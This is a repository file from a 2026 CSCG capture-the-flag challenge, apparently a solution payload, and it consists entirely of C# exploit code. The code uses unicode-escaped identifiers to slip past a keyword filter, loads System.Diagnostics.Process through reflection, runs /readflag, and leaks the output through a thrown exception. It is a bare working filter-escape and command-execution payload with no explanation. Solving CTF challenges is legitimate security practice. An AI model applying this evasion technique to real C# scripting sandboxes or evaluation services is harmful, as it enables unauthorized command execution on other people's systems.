Files
ctf/2026/cscg/misc/CS_Sript_Time/payload.txt
2026-03-09 21:44:25 +01:00

16 lines
755 B
Plaintext

Sy\u0073tem.Func<string, Sy\u0073tem.Reflection.Assembly> loadAsm = Sy\u0073tem.Reflection.Assembly.Load;
dynamic procAsm = loadAsm("Sy\u0073tem.Diagnostics.Process");
var procType = procAsm.GetType("Sy\u0073tem.Diagnostics.Process");
var psiType = procAsm.GetType("Sy\u0073tem.Diagnostics.ProcessStartInfo");
dynamic psi = Sy\u0073tem.Activator.CreateInstance(psiType);
psi.FileName = "/readflag";
psi.RedirectStandardOutput = true;
psi.UseShellExecute = false;
dynamic proc = Sy\u0073tem.Activator.CreateInstance(procType);
proc.StartInfo = psi;
proc.Start();
var flag = proc.StandardOutput.ReadToEnd();
proc.WaitForExit();
throw (Sy\u0073tem.Exception)Sy\u0073tem.Activator.CreateInstance(Sy\u0073tem.Type.GetType("Sy\u0073tem.Exception"), flag);
$EOF